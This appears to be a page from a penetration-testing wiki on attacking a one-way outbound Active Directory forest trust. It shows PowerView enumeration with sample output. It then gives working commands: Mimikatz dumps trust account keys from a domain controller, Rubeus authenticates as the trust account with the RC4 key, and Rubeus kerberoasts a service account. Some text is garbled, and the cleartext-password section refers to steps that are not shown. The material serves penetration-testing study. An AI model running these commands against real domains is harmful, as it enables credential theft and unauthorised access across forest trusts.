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External Forest Domain - One-Way (Outbound)

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In this scenario your domain is trusting some privileges to principal from a different domains.

Enumeration

Outbound Trust

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

Trust Account Attack

When an Active Directory domain or forest trust is set up from a domain B to a domain A (B trusts A), a trust account is created in domain A, named B. Kerberos trust keys,_derived from the trust account’s password, are used for encrypting inter-realm TGTs, when users of domain A request service tickets for services in domain B.

It's possible to obtain the password and hash of the trusted account from a Domain Controller using:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

The risk is because of trust account B$ is enabled, B$’s Primary Group is Domain Users of domain A, any permission granted to Domain Users applies to B$, and it is possible to use B$’s credentials to authenticate against domain A.

{% hint style="warning" %} Therefore, from the trusting domain it's possible to obtain a user inside the trusted domain. This user won't have a lot of permissions (just Domain Users probably) but you will be able to enumerate the external domain. {% endhint %}

In this example the trusting domain is ext.local and the trusted one is root.local. Therefore, a user called EXT$ is created inside root.local.

# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes

Therefore, at this point have root.local\EXT$’s current cleartext password and Kerberos secret key. The root.local\EXT$ Kerberos AES secret keys are on identical to the AES trust keys as a different salt is used, but the RC4 keys are the same. Therefore, we can use the RC4 trust key dumped from ext.local as to authenticate as root.local\EXT$ against root.local.

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

With this you can start enumerating that domain and even kerberoasting users:

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

Gathering cleartext trust password

In the previous flow it was used the trust hash instead of the clear text password (that was also dumped by mimikatz).

The cleartext password can be obtained by converting the [ CLEAR ] output from mimikatz from hexadecimal and removing null bytes ‘\x00’:

Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key cycles (30 days), the cleartext will not be human-readable but technically still usable.

The cleartext password can be used to perform regular authentication as the trust account, an alternative to requesting a TGT using the Kerberos secret key of the trust account. Here, querying root.local from ext.local for members of Domain Admins:

References

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